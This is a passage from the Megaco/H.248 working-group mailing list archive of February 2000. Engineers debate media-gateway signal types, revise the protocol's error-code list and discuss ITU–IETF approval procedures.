> have that problem. This does seem simpler to me.
[CHG] This is a lot more complicated for the MG. Wait/try again implies
state. A certain period of time. This is really putting application
logic in the MG. I thought this would be managed by the MGC being the
server. The wait/try again states sound like some sort of scripting
should be involved. I'm not advocating scripting now.

>
> As far as "Play for a time" and "Play until turned off" is concerned, I agree that distinction makes
> sense. The way I would propose solving that, is by a TO signal in both cases. The former states a
> specific period of time, e.g. 30 seconds, while the latter specifies "indefinitely".
[CHG] OK

>
> I guess what I'm advocating, is actually adding another row to your matrix:
>                             Interrupt        Non-interrupt
> Set Indicator             7                      8
>
> where the indicator can be either "on" or "off". Item 7 means that you supply the signal in a new
> SignalsDescritpor with the opposite of its current value, i.e. if it was "on" you set to "off", and
> vice versa. Item 8 would be supplying a new SignalsDescriptor where the signal is either omitted or is
> set to its current value.
[CHG] OK I think we can handle this with the existing matrix.
      7. You can do this with BR with two values (on/off).
         You have one signalID also.
      8. I think you can also do this with BR with two values.
         If omitted it will have no affect. Light stays on or off.
         If the same is included the light will stay the same.

So hopefully we're really close now.

Cheers, Christian
..SNIP..


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 13:17:54 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16310
	for ; Fri, 11 Feb 2000 13:17:45 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D27F6EF0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 13:13:44 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41984 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 13:13:22 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.5F7307B0@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          13:03:21 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          TAA24144; Fri, 11 Feb 2000 19:05:49 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id TAA28653;
          Fri, 11 Feb 2000 19:05:48 +0100
Received: from ericsson.com ([146.11.7.133]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id TAA15026; Fri, 11 Feb 2000
          19:05:29 +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A44F6C.F026C20A@ericsson.com>
Date:         Fri, 11 Feb 2000 19:05:32 +0100
Reply-To: Christian Groves 
Sender: "Media Gateway Control (megaco)"
              
From: Christian Groves 
Subject:      Re: Errors and Error Codes
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello Tom,

Please see a couple of clarifications below [CHG].

Cheers, Christian

Tom-PT Taylor wrote:
>
> This E-mail covers several topics dealing with error reporting.
>
> A. Asynchronous Error Reporting
> ========================
>
> We have discussed, here in Geneva, a mechanism for generating spontaneous
> notifications of error conditions (i.e. use of the "cause" event in the
> generic package).  The suggested mechanism is this:
>
>   -- we reserve a block of event request-IDs (e.g. 0-15) for assignment to
> classes of event the MGC will always want enabled (or alternatively can
> enable or disable using a Root property).  As an example of use, we assign
> requestID 0 to spontaneous error reports.  This way it won't be necessary to
> include the cause event in every Event Descriptor
[CHG] Can you give further examples???
>
>   -- rather than making errorDescriptor an optional component of the Notify
> command (as our ABNF now states), we make it a parameter of the cause event.
>
>   -- this mechanism allows the inclusion of some error codes in our list in
> section 7.3 which otherwise shouldn't be there because they would not result
> from transaction processing.  One example is 518 "event buffer full".
>
> B. Errors In Transaction Reply
>
> I'm not sure we have a procedure for handling errors in Transaction Reply.
> Unless someone can point me to the existing text, we should add something to
> cover the situation.
[CHG] Do we really need this? Doesn't it depend on the application
      what it wants to do when it encounters an error?


>
> C. Errors Defined In Packages
>
> We agreed with the Cisco proposal that it be possible to define error codes
> in packages.  This would just be a matter of documentation convenience --
> the codes would NOT be qualified by package name, and the package
> documentation would serve double duty as far as IANA registration is
> concerned.  IMHO this means no change to our existing section 12 except
> perhaps to mention this possibility in the packages section.  Assignment of
> codes would follow the usual rules: 000-999 range for ITU/IETF codes, 1000
> -9999 for private packages.
[CHG] We have not agreed on this at the ITU meeting and is still under
discussion.
 How this works with regards to package extension and versioning is
still an open issue.

>
> D. Review Of Error Codes
>
> I have reviewed the error codes in the current document, and have compiled
> explanations for a number of them.  Others I can't explain, and suspect they
> shouldn't be there.  I would like other people to review my findings so we
> can get this straightened out.  In what follows, errors marked with an
> asterisk could be returned against transaction replies as well as
> transaction requests.  My comments are enclosed in square brackets.  I
> present no explanations for error codes which seem to be adequately
> described by the text shown against them in 7.3.
>
> Could someone explain the logic behind the assignment of these codes?  Why
> start at 400? -- our numbering space is only 000 to 999 and it doesn't seem
> right to waste half of it.
[CHG] Can't help you. I had the same question.
[CHG] Do we need to mark directions with a '*'. It should be obvious.

>
> *400 - Bad Request
>         A syntax error has been detected at the message level.  The message
> does not conform to the productions MegacoMessage or Message in Annex A or
> Annex B as applicable.
[CHG] OK
>
> *401 - Protocol Error
>         A violation of Megaco protocol procedures has been detected.  Use
> error codes corresponding to more specific conditions if they apply.  [e.g.
> 465, 466, 467 if they turn out to be justified; 505, 521.]
[CHG] OK

>
> 402 - Unauthorized
>         The originator of a command is not authorized to execute that
> command for the termination(s) affected by it.  [For messages failing
> authentication, what is our procedure? ]
[CHG] OK

>
> 403 - Syntax Error in Transaction
>         The form of a transaction request failed to match production
> transactionRequest in Annex A, Annex B, or section D.1.2 of Annex D as
> applicable.  [Note: review codes proposed in sec. 8.2.2.]
[CHG1] Leave out references to D.1.2 as this might not be supported
depending on transport. transactionRequest in Annex A and B should cover
things.

>
> *404 - Syntax Error in TransactionReply
>         The form of a transaction reply failed to match production
> transactionReply in Annex A, Annex B, or section D.1.2 of Annex D as
> applicable.
[CHG1] See comment above

>
> *405 - Syntax Error in TransactionPending
>         The form of a transaction pending failed to match production
> transactionPending in Annex A, Annex B, or section D.1.2 of Annex D as
> applicable.
[CHG1] See comment above

>
> *406 - Version Not Supported
>         Used by the receiver of a transaction request to indicate lack of
> support for the protocol version indicated in the message header.  [Note
> usage in sec. 11.3 -- I think there is an error in the second para last
> sentence (should be MG, not MGC)]
[CHG] Valid for ServiceChange perhaps text should be:
"Used by receiver to indicate lack of support for the protocol version."
>
> *410 - Incorrect identifier
>         A syntax error has been found in an mId, transactionId, contextId,
> terminationId, PropertyId, EventId, SignalId, StatisticsId or ParameterId.
[CHG] OK

>
> 411 - The transaction refers to an unknown ContextId
>         A specific contextID provided in a Transaction Request is unknown to
> the respondent.  For unknown contextID in Transaction Reply use error code
> 46x "ContextIDs in Reply do not match Request" [which isn't currently
> defined -- could change 461].
[CHG] OK

>  412 - No ContextIDs available
[CHG]+  The MG is unable to create a new context in because of a
shortage of
[CHG]+ software or hardware resources within the MG.

>
> 421 - Unknown action or illegal combination of actions
>         [Can't happen -- actions don't have tags or semantics in
> themselves.]
[CHG] OK

>
> *422 - Syntax Error in Action
>         The syntax of an Action did not conform to production actionRequest
> or actionReply as applicable.  Use error code 405 or 406 as applicable if
> parsing failed to delineate the end of the Action.
>         [Check usage in 8.2.2]
[CHG] OK
>
> 430 - Unknown TerminationID
>         A specific terminationID provided in a Transaction Request is
> unknown to the responder.  For unknown terminationIDs in Transaction Replies
> use error code 463.
[CHG] OK
>
> 431 - No TerminationID matched a wildcard
>          The Transaction Request specified a TerminationID including both
> specific content and one or more wildcards (ALL or CHOOSE), but the
> responder could not find an existing termination >>or, because of internal
> naming constraints, create a new termination matching the specified pattern.>
[CHG] Remove create comment.

>
> 432 - Out of TerminationIDs or No TerminationID available
>         The MG was unable to allocate a new terminationID in response to an
> Add command specifying a CHOOSE termination identifier, because it has
> exhausted the applicable local name space or some other per-termination
> resource.
[CHG] How about?
"The MG was unable to allocate a new terminationID."

>
> 433 - TerminationID is already in a Context
>         A TerminationID specified in an Add command already exists within an
> active context.
[CHG] OK

>
> 440 - Unsupported or unknown Package
>         The package named in a Property, Event, Signal, or Statistic
> identifier is not supported by the respondent.
[CHG] OK
>
> 441 - Missing RemoteDescriptor
>         The MGC has attempted to set the Mode of a stream on a termination
> to SendOnly or SendReceive but an inadeqate or no outgoing media
> specification has been provided in a Remote Descriptor for that stream.
> [Note: same thing can apply to Local/incoming flows.  Generalize this error
> to "Attempt to activate underspecified flow"?]
[CHG] Is this really needed at all? if you try to modify Mode without a
Remote/LocalDescriptor isn't it a syntax error?

>
> *442 - Syntax Error in Command
>         A command request has failed to match the syntax of the
> commandRequest production, or a command reply in a transaction response has
> failed to match the syntax of the CommandReply (Annex A) or commandReplys
> (Annex B) production, as applicable. Use the 422 error code if parsing
> failed to delineate the end of the command request or command reply.  [Check
> use in sec. 8.2.2.]
[CHG] OK

>
> 443 - Unsupported or Unknown Command
>         The respondent to a Transaction Request successfully parsed a
> command to the point of delineating the command type, but does not recognize
> or support the command type.  Use the 442 error code if the respondent
> failed to delineate the command type.
[CHG]

>
> *444 - Unsupported or Unknown Descriptor
>         A  command request or command reply was successfully parsed to the
> point of delineating the type of a descriptor, but the descriptor type is
> not recognized or supported.  The 442 error code should be used if parsing
> failed to delineate the end of the descriptor, the descriptor type, or
> individual properties, parameters, or values within the descriptor.
[CHG] OK
>
> *445 - Unsupported or Unknown Property
>         [Redundant -- use 450]
[CHG] This is valid. Annex C would use this. I gather SDP has properties
(attributes)
>
> *446 - Unsupported or Unknown Parameter
[CHG] OK
>
> *447 - Descriptor not legal in this command
[CHG] OK
>
> *448 - Descriptor appears twice in a command
[CHG] OK
>
> *450 - No such property in this package
>         The Property Name (Annex A) or ItemID (Annex B) of a property within
> a descriptor is either unsupported or unrecognized.  Use error code 440 if
> the Package Name associated with the property is unrecognized.
[CHG] OK
>
> *451 - No such event in this package
>         This could apply to a reply for the AuditValue command as well as
> the more common case of faulty EventDescriptors in other commands.  Use
> error code 440 if the Package Name associated with the event is
> unrecognized.
[CHG] OK
>
> *452 - No such signal in this package
>         This could apply to a reply for the AuditValue command as well as
> the more common case of faulty SignalsDescriptors in other commands.  Use
> error code 440 if the Package Name associated with the signal is
> unrecognized.
[CHG] OK
>
> *453 - No such statistic in this package
>         Use error code 440 if the Package Name associated with the statistic
> is unrecognized.
[CHG] OK
>
> *454 - No such parameter value in this package
>         The value given for a parameter is not legal for the package to
> which the parameter belongs.  Use error code 450 if the type as opposed to
> the value of the parameter is illegal.
[CHG] OK
>
> *455 - Parameter illegal in this Descriptor
[CHG] OK
>
> *456 - Parameter or Property appears twice in this Descriptor
[CHG] OK
>
> *461 - TransactionIDs in Reply do not match Request
> [Can't be detected.  Should be ContextIDs rather than TransactionIDs.  See
> comment on 411]
>
> *462 - Commands in Transaction Reply do not match commands in request
[CHG] OK
>
> *463 - TerminationID of Transaction Reply does not match  request
> [Should be phrased similarly to 462]
>
> *464 - Missing reply in Transaction Reply
>         [Assuming 461 is changed to ContextIDs and given 462, this one is
> redundant]
>
> *465 - TransactionID in Transaction Pending does not match any open request
> [Unusable -- contrary to procedures in D.1.4]
>
> 466 - Illegal Duplicate Transaction Request
> [Unusable -- contrary to procedures in 8.2.3]
>
> *467 - Illegal Duplicate Transaction Reply
> [Unusable -- contrary to Annex D procedures?]
>
> 471 - Implied Add for Multiplex failure
>         A termination listed within a multiplex descriptor could not be
> added to the current context.  If the reason is because the termination is
> already in a different active context, use error code 433.
[CHG] OK
>
> 500 - Internal Gateway Error
>         A command could not be executed properly due to a software failure
> within the MG.  For hardware failures, see error code 529.
[CHG] OK
>
> 501 - Not Implemented
>         [Redundant??? (Codes 443-446)]
[CHG] Perhaps this should be???
    501 - Unsupported property value
May need also:
    50x - Unknown property value
>
> 502 - Not ready
>         The respondent is temporarily unable to process requests because of
> its own internal state.
[CHG] OK
>
> 503 - Service Unavailable
>         [What service???  Likely conditions are covered by other error
> codes]
>
> 504 - Command Received from unauthorized entity
>         [Redundant -- covered by 402?]
[CHG] OK
>
> 505 - Command Received before Restart Response
>         Issued by the MG which has issued a ServiceChange request to an MGC
> if it receives a transaction request from that MGC before it has processed
> the response to the ServiceChange request.  See procedural notes in section
> 11.2.
[CHG] OK
>
> 510 - Insufficient resources
>         The MG is unable to execute a command because of a lack of resources
> within the MG.
[CHG] OK

>
> 512 - Media Gateway unequipped to detect requested Event
>         Self-descriptive.  If the MG does not support the package in which
> the event is specified, use code 440.
>
> 513 - Media Gateway unequipped to generate requested Signals
>         Self-descriptive.  If the MG does not support the package in which
> the signal is specified, use code 440.
>
> 514 - Media Gateway cannot send the specified announcement
>         [Package specific -- should be documented in the announcement
> package]
>
> 515 - Unsupported Media Type
>         [Might want to make it "Unsupported media type or media conversion"
> ]
>
> 517 - Unsupported or invalid mode
>         [Too detailed.  Need a general "Unsupported or invalid value" }
>
> 518 - Event buffer full
>         Reported via the Notify command using the Cause event in the Generic
> package.  See procedures in section 7.2.7 [to be added as noted at the start
> of this E-mail]
>
> 519 - Out of space to store digit map
>
> 520 - Media Gateway does not have a digit map
>         The digit map named in a command is not specified.  [Probably want
> to change to "Digit Map undefined"]
>
> 521 - Termination is "ServiceChangeing"
>         [Inapplicable if we get rid of Graceful ServiceChange for
> terminations.]
[CHG] This should stay.
>
> 526 - Insufficient bandwidth
>         The MG was unable to execute a command because of insufficient
> resources at the network interface or externally to the MG.
[CHG] OK
>
> 529 - Internal hardware failure
>         A command could not be executed properly due to a hardware failure
> within the MG.
[CHG] OK
>
> 530 - Temporary Network failure
>         The MG was unable to execute a command because of a network failure
> of unspecified but temporary nature affecting the termination concerned.
> [Delete>>>> If
> the failure renders an existing termination unavailable for service, the MG
> should follow up by issuing a ServiceChange on the termination to indicate
> its unavailability.  <<<<<]
[CHG] Remove advisory text. Up to MGC.
>
> 531 - Permanent Network failure
>         The MG was unable to execute a command because of a network failure
> of unspecified and persistent nature affecting the termination concerned.
[CHG] Delete>>>>>
> If the failure renders an existing termination unavailable for service, the
> MG should follow up by issuing a ServiceChange on the termination to
> indicate its unavailability.<<<<<<
>
> 581 - Does Not Exist
>         [Covered by more specific errors (e.g. 411, 430)]
>
> Tom Taylor
> Advisor -- Emerging Carrier IP Standards
> E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 13:40:16 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA17011
	for ; Fri, 11 Feb 2000 13:40:10 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.124A1FA0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 13:36:59 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42150 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 13:35:02 -0500
Received: from mtiwmhc09.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.CC45EDE0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 13:35:02
          -0500
Received: from worldnet.att.net ([12.78.109.39]) by mtiwmhc09.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000211183733.NUCX7877@worldnet.att.net>; Fri, 11 Feb 2000 18:37:33
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
            <38A09654.49BCC787@nortelnetworks.com>
            <38A09F7A.C852ABF7@worldnet.att.net>
            <38A0A250.F374FFF3@worldnet.att.net>
            <38A1AD0A.FB097A4D@ericsson.com>
            <38A1B37D.60C50000@worldnet.att.net>
            <38A30216.134B17A3@ericsson.com>
            <38A31D6C.C22C7570@worldnet.att.net>
            <38A33893.58078E8B@ericsson.com>
            <38A41758.79DF8594@worldnet.att.net>
            <38A44F50.F61B1AD7@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A4574A.35B2DB6D@worldnet.att.net>
Date:         Fri, 11 Feb 2000 13:39:07 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Christian Groves 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Christian Groves wrote:

> G'Day Flemming,
>
> Please see my comments below [CHG].
>
> Cheers,Christian
>
> Flemming Andreasen wrote:
> >
> > Christian Groves wrote:
> >
> > > G'Day Flemming,
> > >
> > > I see OO events as being more for tones or situations where the MG is
> > > continuously supplying a current (sorry for bringing HW into things).
> >
> > No problem :-)
> >
> > >
> > > ie. ring tone continuously supplies a ringing current. For a VisualMWI
> > > indicator what you are doing is instantaneous. ie. a function call to
> > > move pixels on a screen. You don't keep calling the function to keep it
> > > on the display. You call another function to remove the visual
> > > indication. I think this is more suited to BR.
> > >
> > > As you say this is a matter of taste. I believe this is a clean
> > > distinction.
> >
> > At first, that seemed OK to me, under the assumption that semantically your two BR signals would be
> > equivalent to my one OO. Looking a little closer at it, I'm not sure they are after all (see below)..
> >
> > >
> > >
> > > Given the following matrix I believe you need to be able to for signal
> > > behaviour. To me these are valid operations.
> > >                         Interupt     Non-interrupt
> > > Play once                  1               2
> > > Play for a time            3               4
> > > Play until turned off      5               6
> >
> > Based on your comment below, I take it the interrupt part means whether the signal is interrupted by a
> > SignalsDescriptor. I think that still leaves the "interrupted by event" part open. Let's say I define a
> > vmvi_on and and a vmwi_off signal (of type BR, i.e.play once) which effectively sends out the FSK
> > sequence needed to turn the light on or off. Now, as was noted by somebody earlier, you only send this
> > sequence if the phone is on-hook. So when I apply this signal, it's possible that it either succeeds or
> > fails because of hook-state.
> [CHG] I think this is the wrong assumption. I hope you program your
> application to only send a signal when the phone is off-hook. Sending a
> signal when off hook is an application error. These types of things are
> function interactions and not hardware dependencies.

The existence of non-zero propagation delay and glare in general means that you cannot have any such
guarantees.

>
>
> > Somehow, I need to know what the outcome was, if I use the two BR signals.
> [CHG] I don't see why????

Because it might fail, e.g. if the phone was off-hook (either because the Notify crossed paths with this
signal or because of glare).

>
>
> > If I instead took a higher level view where I effectively tell the MG that "I just want this light
> > turned on" (or off), and let the underlying implementation of that signal do what is has to do to
> > achieve that (i.e. transmit the FSK sequence or wait/try again when the phone goes on-hook), I don't
> > have that problem. This does seem simpler to me.
> [CHG] This is a lot more complicated for the MG. Wait/try again implies
> state. A certain period of time. This is really putting application
> logic in the MG. I thought this would be managed by the MGC being the
> server. The wait/try again states sound like some sort of scripting
> should be involved. I'm not advocating scripting now.

Well the MG is not stateless in the first place - it's call stateless. There's tons of logic needed to
implement the protocol in the first place and all the various signals (irrespective of type) imply some kind
of logic which is not application specific. Neither are the types for that matter (regardless of which
definition we use).

>
>
> >
> > As far as "Play for a time" and "Play until turned off" is concerned, I agree that distinction makes
> > sense. The way I would propose solving that, is by a TO signal in both cases. The former states a
> > specific period of time, e.g. 30 seconds, while the latter specifies "indefinitely".
> [CHG] OK
>
> >
> > I guess what I'm advocating, is actually adding another row to your matrix:
> >                             Interrupt        Non-interrupt
> > Set Indicator             7                      8
> >
> > where the indicator can be either "on" or "off". Item 7 means that you supply the signal in a new
> > SignalsDescritpor with the opposite of its current value, i.e. if it was "on" you set to "off", and
> > vice versa. Item 8 would be supplying a new SignalsDescriptor where the signal is either omitted or is
> > set to its current value.
> [CHG] OK I think we can handle this with the existing matrix.
>       7. You can do this with BR with two values (on/off).
>          You have one signalID also.

Good point about the on/off parameter - I'll buy that (of course I would argue that's what OO gives you is a
formalized way of specifying this - probably not a big deal). That leaves us with just one signal, however
you still need to find out if it failed.

>
>       8. I think you can also do this with BR with two values.
>          If omitted it will have no affect. Light stays on or off.
>          If the same is included the light will stay the same.

I think so to, but the potential failure is still problematic (in the absence of a completion report, we
would have to include the signal with "keepactive" in subsequent descriptors as well actually)

>
>
> So hopefully we're really close now.

We are close, but not quite there. The completion/failure seems to be sticking issue. I can't see how you can
get by without it.

>
>
> Cheers, Christian
> ..SNIP..

-- Flemming

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 13:49:15 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA17137
	for ; Fri, 11 Feb 2000 13:49:13 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.55C42EA0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 13:46:02 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42155 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 13:45:14 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.D36F45D0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 13:35:14
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id NAA22813; Fri, 11 Feb
          2000 13:37:42 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id NAA25291; Fri, 11 Feb
          2000 13:37:45 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL8BLL>; Fri, 11 Feb 2000 13:34:18 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208935@whq-msgusr-02.fore.com>
Date:         Fri, 11 Feb 2000 13:37:42 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: H.248 Activity
X-To:         Stephen Terrill 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

You might have a "simple" concern, but unless what comes out of
Geneva is exactly what goes in, and unless last call produces
no comments that require changes, it won't work to decide it
in Geneva.

No one has asked ITU to change it's fundamental approval process.
No one has asked IETF to change it's fundamental approval process.

Therefore what IETF approves, following WG last call and IESG
last call, must be what ITU decides, and vice versa.
Since last call is not done, decision cannot be taken.

In order to converge, the document really has to be stable.  Stable
enough that both the ITU decision process and the IETF last call
process produce no changes.  We are clearly not there.

Unless one of the two bodies changes it's process, that is
the only way forward.  It doesn't matter what I, or anyone
else thinks of the stability or quality of the drafts.  It doesn't
matter what the market demands, or what will work the best.
We are stuck with the process.

Given your stated sentiments, I would have expected you to lead
the fight for deciding the input document to Geneva.  That would
indicate stability from ITU perspective.

I gather that was not your position.

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 13:53:20 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA17270
	for ; Fri, 11 Feb 2000 13:53:16 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E67E5A60@standards.nortelnetworks.com>; Fri, 11 Feb 2000 13:50:05 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42175 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 13:49:20 -0500
Received: from kickme.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.66504930@standards.nortelnetworks.com>; Fri, 11 Feb 2000 13:39:20
          -0500
Received: from rhino (rhino.cisco.com [172.20.9.57]) by kickme.cisco.com
          (8.9.1a/8.9.1) with ESMTP id KAA03011; Fri, 11 Feb 2000 10:32:23
          -0800 (PST)
Received: from p7020-img-nt (fred-hm-dhcp1.cisco.com [171.69.128.116]) by rhino
          (SMI-8.6/CISCO.WS.1.1) with SMTP id KAA26472; Fri, 11 Feb 2000
          10:46:48 -0800
X-Sender: fred@flipper.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Message-ID:  <4.1.20000211102418.02472990@flipper.cisco.com>
Date:         Fri, 11 Feb 2000 10:26:31 -0800
Reply-To: Fred Baker 
Sender: "Media Gateway Control (megaco)"
              
From: Fred Baker 
Subject:      Re: H.248 Activity
X-To:         Tom-PT Taylor 
X-cc:         Scott Bradner ,
              mankin@isi.edu, vern@aciri.org, "Bigi, Fabio" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

At 06:02 PM 2/10/00 -0600, Tom-PT Taylor wrote:
>
> I can only apologize so many times, but I do regret the ill-will this outcome
> is bound to generate between the two organizations, even though each has done
> its best to accommodate the other.


Apology accepted, at least on my part. I also doubt that this will necessarily
generate ill-will. We (the two organizations) are learning to work together,
and like any relationship there will undoubtedly be some amount of
trial-and-error. We only learn from it if we flag it and deal with it, however,
which is why I raised the point.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 14:07:42 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17612
	for ; Fri, 11 Feb 2000 14:07:38 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E0124D10@standards.nortelnetworks.com>; Fri, 11 Feb 2000 14:04:13 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42320 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 14:02:57 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.B2CF14F0@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          14:02:57 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          UAA03088; Fri, 11 Feb 2000 20:05:28 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id UAA05310;
          Fri, 11 Feb 2000 20:05:28 +0100
Received: from ericsson.com (arbru3m06.ericsson.se [164.48.163.7]) by
          elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id
          UAA15124; Fri, 11 Feb 2000 20:05:22 +0100 (MET)
X-Mailer: Mozilla 4.04 [en] (Win95; I)
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF208935@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A45D86.6060B136@ericsson.com>
Date:         Fri, 11 Feb 2000 20:05:42 +0100
Reply-To: Stephen Terrill 
Sender: "Media Gateway Control (megaco)"
              
From: Stephen Terrill 
Subject:      Re: H.248 Activity
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi Brain,

To be clear, I support decision.  In general, I think that the input documents to geneva (with editors clarification) are what is being accepted in Geneva.  This is in accordance with ITU procedures.

Regards,

..//Steve

Rosen, Brian wrote:

> You might have a "simple" concern, but unless what comes out of
> Geneva is exactly what goes in, and unless last call produces
> no comments that require changes, it won't work to decide it
> in Geneva.
>
> No one has asked ITU to change it's fundamental approval process.
> No one has asked IETF to change it's fundamental approval process.
>
> Therefore what IETF approves, following WG last call and IESG
> last call, must be what ITU decides, and vice versa.
> Since last call is not done, decision cannot be taken.
>
> In order to converge, the document really has to be stable.  Stable
> enough that both the ITU decision process and the IETF last call
> process produce no changes.  We are clearly not there.
>
> Unless one of the two bodies changes it's process, that is
> the only way forward.  It doesn't matter what I, or anyone
> else thinks of the stability or quality of the drafts.  It doesn't
> matter what the market demands, or what will work the best.
> We are stuck with the process.
>
> Given your stated sentiments, I would have expected you to lead
> the fight for deciding the input document to Geneva.  That would
> indicate stability from ITU perspective.
>
> I gather that was not your position.
>
> Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 14:07:46 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17623
	for ; Fri, 11 Feb 2000 14:07:43 -0500 (EST)
